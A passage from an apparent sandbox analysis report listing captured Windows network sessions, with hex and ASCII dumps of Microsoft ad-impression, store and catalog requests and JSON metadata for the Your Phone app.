request-id: e00f98e2-9c09-455b-a1bf-af44316093f4
Date: Wed, 08 Jun 2022 07:56:58 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

95 192.168.2.3 49823 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9278 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 1522
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache

2022-06-08 07:56:59 UTC 9278 OUT Data Raw: 50 49 44 3d 34 30 30 30 38 39 38 33 37 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 36 37 39 36 37 30 33 35 37 26 50 47 3d 50 43 30 30 30 50 
30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 38 39 38 33 37 26 52 45 51 41 53 49 44 3d 
38 32 36 39 43 34 34 43 30 36 32 38 34 45 31 43 41 35 30 45 38 44 35 35 34 41 36 37 38 38 35 43 26 41 53 49 44 3d 62 
32 39 34 66 37 35 35 30 66 63 30 34 62 34 62 62 31 36 30 31 65 62 61 63 36 62 30 63 37 39 30 26 54 49 4d 45 3d 32 30 
32 32 30 36 30 38 54 31 36 35 36 34 30 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 36 30 38 54 30 37 35 
36 30 32 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 44 42 44 
Data Ascii: PID=400089837&TID=700129702&CID=128000000000402926&BID=679670357&PG=PC000P0FR5
.0000000IRT&TPID=400089837&REQASID=8269C44C06284E1CA50E8D554A67885C&ASID=b294f7550fc04b4bb
1601ebac6b0c790&TIME=20220608T165640Z&SLOT=1&REQT=20220608T075602&MA_Score=2&PERSID=DBD

2022-06-08 07:56:59 UTC 9315 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:56:58 GMT
Connection: close
Content-Length: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

96 192.168.2.3 49824 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9315 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165611Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:59 UTC 9316 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3f1d4f0e-b713-4608-91ab-7acbfbd93bf6
Date: Wed, 08 Jun 2022 07:56:59 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

97 192.168.2.3 49825 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9316 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.YourPhone_8wekyb3d8bbwe&mark
et=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: fQPxzjtQa0eADZkB.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:56:59 UTC 9317 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:56:58 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 2e6c5b2e-41f6-431f-80f9-fdd15d3203bc
MS-RequestId: 5acdd0ca-6c04-4f64-953b-9612b50af608
MS-CV: fQPxzjtQa0eADZkB.0.2.4.1227126598.0.1.1227126598.21170719.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-b65nb
Region: neu
Node: aks-bigcatrpns-32351330-vmss00004u
MS-DocumentVersions: 9NMPJ99VJBWV|3299

2022-06-08 07:56:59 UTC 9318 IN Data Raw: 31 64 65 34 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 36 2d 30 36 54 30 38 3a 30 30 3a 31 34 2e 30 31 35 37 35 33 
38 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 31 36 33 33 37 38 32 37 36 36 34 
34 34 35 33 37 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 22 
Data Ascii: 1de4c{"BigIds":["9NMPJ99VJBWV"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-06-06T0
8:00:14.0157538Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3016337827664445370","EISListingIdentifie
r":null,"BackgroundColor":"#0078D7"

2022-06-08 07:56:59 UTC 9321 IN Data Raw: 65 35 34 39 2d 34 34 61 36 2d 38 30 37 33 2d 34 31 64 63 64 38 33 65 64 64 62 65 2e 63 30 65 36 64 32 65 
38 2d 32 64 34 30 2d 34 61 37 38 2d 39 31 62 38 2d 35 30 30 35 35 35 38 36 66 34 35 33 22 2c 22 57 69 64 74 68 22 3a 
36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 39 38 32 37 37 32 34 38 39 37 38 34 33 37 39 33 22 2c 22 45 49 
53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 
72 22 3a 22 23 30 30 37 38 44 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 
74 65 73 22 3a 33 35 36 32 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 
38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 
Data Ascii: e549-44a6-8073-41dcd83eddbe.c0e6d2e8-2d40-4a78-91b8-50055586f453","Width":66},{"FileId":"305982772
4897843793","EISListingIdentifier":null,"BackgroundColor":"#0078D7","Caption":"","FileSizeInBytes":3562,"Foreg
roundColor":"","Height":88,"ImagePositionInfo":

2022-06-08 07:56:59 UTC 9325 IN Data Raw: 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 38 39 35 2c 22 
46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 
6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 
6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6e 37 68 41 59 52 4b 4b 51 34 5a 31 56 4f 
35 45 74 73 2f 35 2f 55 2f 2b 67 34 62 32 7a 4f 44 5a 65 33 55 4e 66 2b 69 47 59 36 45 3d 22 2c 22 55 72 69 22 3a 22 2f 
2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 
2e 34 37 32 36 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 
Data Ascii: Caption":"","FileSizeInBytes":8895,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"
Tile","UnscaledImageSHA256Hash":"n7hAYRKKQ4Z1VO5Ets/5/U/+g4b2zODZe3UNf+iGY6E=","Uri":"//store-images.s-
microsoft.com/image/apps.47263.1375389151939

2022-06-08 07:56:59 UTC 9329 IN Data Raw: 67 68 74 22 3a 32 31 36 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 
6f 70 2f 36 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 
6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 42 5a 6b 4f 6a 6c 77 2b 4b 49 54 52 36 42 6f 45 42 42 
79 6f 63 30 73 63 46 49 56 47 63 36 6e 4f 36 74 44 54 39 73 72 71 6e 4b 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 
72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 
37 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 37 30 36 37 2e 65 38 61 30 36 64 37 64 2d 66 66 62 32 2d 34 35 34 32 
2d 39 65 66 61 2d 34 36 30 30 36 63 62 39 37 30 36 39 2e 66 30 
Data Ascii: ght":2160,"ImagePositionInfo":"Desktop/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"B
ZkOjlw+KITR6BoEBByoc0scFIVGc6nO6tDT9srqnKY=","Uri":"//store-images.s-microsoft.com/image/apps.39173.
13753891519397067.e8a06d7d-ffb2-4542-9efa-46006cb97069.f0

2022-06-08 07:56:59 UTC 9333 IN Data Raw: 73 4d 69 63 72 6f 73 6f 66 74 50 72 6f 64 75 63 74 22 3a 74 72 75 65 2c 22 50 72 65 66 65 72 72 65 64 53 6b 
75 49 64 22 3a 22 30 30 31 30 22 2c 22 50 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 
2c 22 56 61 6c 69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 
61 6c 73 65 2c 22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 36 2d 30 36 54 30 38 3a 30 32 3a 30 32 2e 3
7 30 35 34 39 33 33 5a 7c 7c 2e 7c 7c 65 31 30 36 63 66 39 37 2d 30 34 31 64 2d 34 31 61 36 2d 62 34 30 31 2d 34 61 
36 64 66 62 63 38 37 39 33 66 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 39 31 32 36 37 34 7c 7c 4e 75 6c 6c 7c 7c 
66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 
Data Ascii: sMicrosoftProduct":true,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidat
ion":false,"RevisionId":"2022-06-06T08:02:02.7054933Z||.||e106cf97-041d-41a6-b401-4a6dfbc8793f||11529215056949
12674||Null||fullrelease","Validation

2022-06-08 07:56:59 UTC 9337 IN Data Raw: 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 
61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 
66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 
22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 
6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 
33 35 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 
75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 30 
Data Ascii: 92,"MinVersion":2814750890000384,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"
{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20012.135.0_x86__8wek
yb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.0

Copyright Joe Security LLC 2022 Page 204 of 211



2022-06-08 07:56:59 UTC 9341 IN Data Raw: 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 
63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 
63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 
6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 34 31 36 2e 32 30 32 
2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 
22 35 30 65 35 32 65 31 35 2d 63 63 61 32 2d 34 38 32 35 2d 33 66 66 33 2d 36 64 66 39 31 62 32 34 66 65 64 34 2d 58 
38 36 2d 58 36 34 2d 41 72 6d 2d 41 72 6d 36 34 22 2c 22 50 61 63 
Data Ascii: AppxBundle","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNa
meForDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.416.202.0_neutral_~_8wekyb3d8bbwe","Packa
geId":"50e52e15-cca2-4825-3ff3-6df91b24fed4-X86-X64-Arm-Arm64","Pac

2022-06-08 07:56:59 UTC 9345 IN Data Raw: 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 
74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 
65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 
74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 
70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 6
1 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 
66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 
Data Ascii: ivateNetworkClientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManageme
nt","phoneCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManagemen
t_8wekyb3d8bbwe","Microsoft.storeFilter.core.no

2022-06-08 07:56:59 UTC 9349 IN Data Raw: 3a 22 64 34 31 30 61 63 62 38 2d 37 33 36 34 2d 34 62 63 65 2d 61 65 61 63 2d 63 62 39 63 30 65 38 65 31 
66 66 33 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 
2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 
3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 
75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 
75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 
74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 
Data Ascii: :"d410acb8-7364-4bce-aeac-cb9c0e8e1ff3","WuCategoryId":"b99aef9a-1685-4798-b4b1-3d94ee6d7184","Pac
kageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"A
pplications":[{"ApplicationId":"App"}],"Archite

2022-06-08 07:56:59 UTC 9353 IN Data Raw: 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 
6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 
6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 
75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 64 34 31 
30 61 63 62 38 2d 37 33 36 34 2d 34 62 63 65 2d 61 65 61 63 2d 63 62 39 63 30 65 38 65 31 66 66 33 22 2c 22 57 75 43 
61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 
Data Ascii: \":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","Pack
ageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"d410acb8-7364-4bce-aeac-cb9c
0e8e1ff3","WuCategoryId":"b99aef9a-16

2022-06-08 07:56:59 UTC 9357 IN Data Raw: 37 61 30 2d 58 38 36 2d 58 38 36 2d 58 36 34 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 
33 30 30 39 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 
65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 
35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 
22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 
2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 
75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 
Data Ascii: 7a0-X86-X86-X64-X64","PackageRank":30092,"PlatformDependencies":[{"MaxTested":2814751163088896,"Mi
nVersion":2814750970478592,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688
867040526336,\"content.bundledPackages\":[\"Mic

2022-06-08 07:56:59 UTC 9361 IN Data Raw: 31 30 31 33 30 31 31 34 35 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 
36 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 
32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 74 64 66 73 5c 22 
3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 5c 22 2c 5c 22 76 6d 61 
78 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 30 39 37 
30 34 37 38 35 39 32 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 
6e 65 5f 30 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 
Data Ascii: 1013011456,\"vmin\":2814751013011456}]},{\"pfun\":\"Microsoft.YourPhone_1.22032.179.0_x86__8wekyb3
d8bbwe\",\"tdfs\":[{\"name\":\"Windows.Universal\",\"vmax\":2814751163088896,\"vmin\":2814750970478592}]},{\"p
fun\":\"Microsoft.YourPhone_0.22032.179.0_x86__

2022-06-08 07:56:59 UTC 9365 IN Data Raw: 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 
22 78 36 34 22 2c 22 78 36 34 22 2c 22 78 38 36 22 2c 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 
3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 
74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 
66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 
65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 2
2 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 
Data Ascii: icationId":"App"}],"Architectures":["x64","x64","x86","x86"],"Capabilities":["internetClient","privateNetwor
kClientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagement","phoneCallSystem","
targetedContent","runFullTrust","pack

2022-06-08 07:56:59 UTC 9369 IN Data Raw: 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 30 2e 32 32 30 34 32 
2e 31 36 31 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 
4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 34 32 2e 31 36 31 2e 37 30 5f 6e 65 75 74 72 
61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 
5c 22 3a 5c 22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 
38 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 
Data Ascii: 8bbwe\",\"Microsoft.YourPhone_0.22042.161.70_x86__8wekyb3d8bbwe\"],\"content.isMain\":false,\"cont
ent.packageId\":\"Microsoft.YourPhone_1.22042.161.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"d0932c73-
e730-4680-bc44-a5908fecbf8b\",\"content.targe
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2022-06-08 07:56:59 UTC 9373 IN Data Raw: 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 
76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 
70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 
22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 
22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 
22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 
Data Ascii: app\",\"category.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":true},\"
policy2\":{\"ageRating\":1,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"sy
stemId\":5},{\"level\":48,\

2022-06-08 07:56:59 UTC 9377 IN Data Raw: 42 79 74 65 73 22 3a 36 31 38 38 39 37 35 31 30 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 
79 74 65 73 22 3a 33 31 37 30 34 32 36 38 38 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 
75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6
f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 
6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 
69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 34 32 2e 31 36 38 2e 37 30 5f 6e 65 75 74 72 61 
6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 
Data Ascii: Bytes":618897510,"MaxInstallSizeInBytes":317042688,"PackageFormat":"EAppxBundle","PackageFamilyNam
e":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microso
